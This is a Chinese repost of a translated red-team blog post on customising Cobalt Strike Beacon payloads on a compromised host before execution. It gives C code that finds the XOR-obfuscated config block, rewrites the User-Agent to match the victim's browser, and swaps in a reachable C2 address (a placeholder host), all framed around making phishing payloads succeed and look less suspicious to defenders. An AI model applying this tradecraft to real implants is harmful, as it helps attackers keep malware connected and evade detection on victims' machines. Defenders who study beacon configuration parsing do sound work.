针对攻击目标量身定制 CS 的 Beacon 执行

admin 2023年8月5日12:31:55评论7 views字数 4806阅读16分1秒阅读模式

你也许经历过这样的事情:完成了最初的侦察,发送了电子邮件收集 HTTP Header,配置合适的配置参数,设置 CDN 启动了流量重定向。接着什么都没有发生,但从 DNS 中可以看到 Beacon 已经被执行了。当然可以再次修改 Payload 重新发送钓鱼邮件,但是为时已晚,所有人已经收到了群发消息,要求谨慎打开可疑的邮件。

钓鱼也正在变得越来越困难,尽量可以毕其功于一役,为第一次 Payload 执行提供更多的成功可能。一种可行的方案是在启动 Beacon 之前分析执行环境并检查可连接性,再令 C&C 的配置文件生效。这样尽可能地确保在 Beacon 真正执行时能够正常工作,且看起来不可疑

不幸的是,像 Cobalt Strike 这样的框架没有为该技术做出“开箱即用”的优化。本文将会介绍一种基于失陷主机环境定制执行 Beacon 的 Payload 的方法。

生成 Cobalt Strike Beacon

首先需要了解的是如何将配置嵌入到生成的 Beacon 中。此前防御方已经完成了从文件中提取配置信息的工作。例如 SentinelOne 的安全研究员 Gal Kristal 创建的 CobaltStrikeParser 项目就可以从二进制文件中提取配置信息。
想要将配置嵌入 Beacon 中,先要找到配置参数。首先使用 x2ex2fx2ex2fx2ex2c 扫描 Beacon,该序列是 x00x01x00x01x00x02 经过异或混淆而来。
每个添加到 Beacon 的配置都由 Header 和 Value 构成,也是 TLV 结构。Header 由 3 个 16 bit 的值组成:
[ ID ] [ DATA TYPE ID ] [ LENGTH OF VALUE ] [ VALUE ]
ID 代表配置项,例如设置 User-Agent 则 ID 字段为 9。DATA TYPE ID 表示数据类型,目前支持的数据类型与 ID 的对应关系为:
  • 1:Short

  • 2:Int

  • 3:String

  • 4:Data

LENGTH OF VALUE 字段表明为 VALUE 实际分配了多少空间。例如,数据类型为 String,值为 Hellox00,但该字段允许 128 个字节,则 LENGTH 需要设置为 128。
举个例子,如果要配置端口号(ID 为 2)为 Short 类型的 3133,需要写为:
[ 2 ] [ 1 ] [ 2 ] [ 3133 ]
配置嵌入后,使用 0x2e 进行异或加密,防止提取字符串直接得到配置信息。可以使用 C 的结构体来方便查看:
struct CSConfigField {
  unsigned short ID;  unsigned short dataType; unsigned short dataLength;  union {    unsigned short shortData;    unsigned int intData;    char data[1];  } value;};
以 User-Agent 为例

在配置文件中可以指定 Cobalt Strike 的 Beacon 在 HTTP 通信时使用的 User-Agent:

set useragent "something legit";
通常,User-Agent 都会设置成情报收集时得到的信息。但是如果没有提供该配置项,将会得到一个随机的 IE 的 User-Agent。Cobalt Strike 是在一个有限的列表里随机选择一个 User-Agent,例如:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
如果用户恰好使用的是 IE 浏览器就很好(虽然操作系统版本不一定对得上号)。但如果使用的是 Chrome 和 Firefox 的设备向新出现的域名发起了属于 IE 的 User-Agent 的请求,这会显得非常可疑。
在 Beacon 启动前,检测活动的浏览器或默认使用的浏览器再定制 User-Agent 会是理想的方式。为此,首先通过 x2ex2fx2ex2fx2ex2c 找到 Beacon 的配置块:
#define MAX_MALLEABLE_SIGNATURE_LENGTH 6#define MALLEABLE_SIGNATURE "x2ex2fx2ex2fx2ex2c"#define MALLEABLE_LENGTH 6#define MALLEABLE_XOR 0x2e#define MALLEABLE_CONFIG_SIZE 4096
extern char inmemorybeacon[];int beaconConfigOffset = 0;int xorKey = 0;
for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) {    if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) {        beaconConfigOffset = i;        xorKey = MALLEABLE_XOR;    break;    }}
再使用 0x2e对异或进行反解:
char config[MALLEABLE_CONFIG_SIZE];
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {    config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey;}
解码后,解析配置信息,找到与 User-Agent 的 ID 相对应的位置:
#define CS_OPTION_USERAGENT 9
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {  if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) {    // Do something with our user-agent here        break; }
  configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));}
找到该配置信息,有 128 个字节的空间,将最有用的那个 User-Agent 复制到配置文件中。
userAgent = findBestUserAgentMatch();
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));strncpy(configField->value.data, userAgent, SWAP_UINT16(configField->dataLength));
修改好配置之后,用重新异或后的数据更新配置信息块,再传递给 Beacon 执行。
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {    *(beacon + beaconConfigOffset + i) = config[i] ^ xorKey;}
如果一切顺利的话,Beacon 将使用更适合的 User-Agent 来进行 C&C 通信。

针对攻击目标量身定制 CS 的 Beacon 执行

以 C&C 服务器为例

有些时候,C&C 信道被阻塞会导致无法完成回连。很多人会使用 Cobalt Strike 来轮询(round-robin)尝试很多可能有效的出口地址,但这样缺点十分明显。首先,在都不能连接时不能使用备用的信道来调整 C&C 的地址。其次,轮询不会因为失败而从轮询池中删除,这样每次都会产生失败的尝试,相当引人注目
更新 C&C 地址的方式与 User-Agent 类似,在配置信息中根据 C&C 地址的 ID 为 8 进行匹配:
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {  if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) {    // Do something with our c2 target here        break; }  configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));}

出于 POC 的目的,直接使用了硬编码的列表。不仅可用于连通性检查,也可以多个出口选择。一种非常有效的方法是基于 DNS 的 CNAME 记录进行选择,也可以根据需要进行添加、删除、轮换

针对攻击目标量身定制 CS 的 Beacon 执行

确保了 C&C 服务器可连通,只需要在 Beacon 的配置文件中更新即可。
strncpy(configField->data, "derivedc2address.com,/Page", configField->dataLength);
值得注意的是配置的格式,需要对 C&C 地址 derivedc2address.com 的 /Page 页面发起 GET 请求。选项需要和 malleable 配置相匹配(除非使用自定义的 redirector),但仍然可以根据需要随意修改配置。
最后,对配置信息重新进行异或更新,执行 Beacon 即可。原来失败的连接也可以连接到新的 C&C 服务器了。

针对攻击目标量身定制 CS 的 Beacon 执行

总结

在执行前可以修改的配置信息如下所示:
  • 2 (Short) - 端口

  • 3 (Int) - 睡眠时间

  • 5 (Short) - 抖动时间(Jitter)

  • 8 (256 byte string) - C&C 服务器

  • 9 (128 byte string) - User Agent

  • 10 (64 byte string) - Post URI

  • 14 (16 byte data) - SpawnTo

  • 15 (128 byte string) - 管道名称

  • 26 (16 byte string) - GET verb

  • 27 (16 byte string) - POST verb

  • 28 (Int - 96 as true, 0 as false) - Should Chunk Posts

  • 29 (64 byte string) - SpawnTo (x86)

  • 30 (64 byte string) - SpawnTo (x64)

完整列表可以查看 Cobalt Strike 官方提供的 BeaconPayload.class,也可以参考 CobaltStrikeParser 的列表。
CobaltStrikeParser
https://github.com/Sentinel-One/CobaltStrikeParser/blob/81726103455f4f2789b2388387093f087a7a7724/parse_beacon_config.py#L219
文中的代码示例也已经上传到 GitHub 上,大家可以尽情发挥自己的创造力进行定制。
GitHub 代码
https://gist.github.com/xpn/6c40d620607e97c2a09c70032d32d278
原文与相关链接
原文地址
https://blog.xpnsec.com/tailoring-cobalt-strike-on-target/

原文始发于微信公众号(威胁棱镜):针对攻击目标量身定制 CS 的 Beacon 执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日12:31:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对攻击目标量身定制 CS 的 Beacon 执行http://cn-sec.com/archives/595219.html

发表评论

匿名网友 填写信息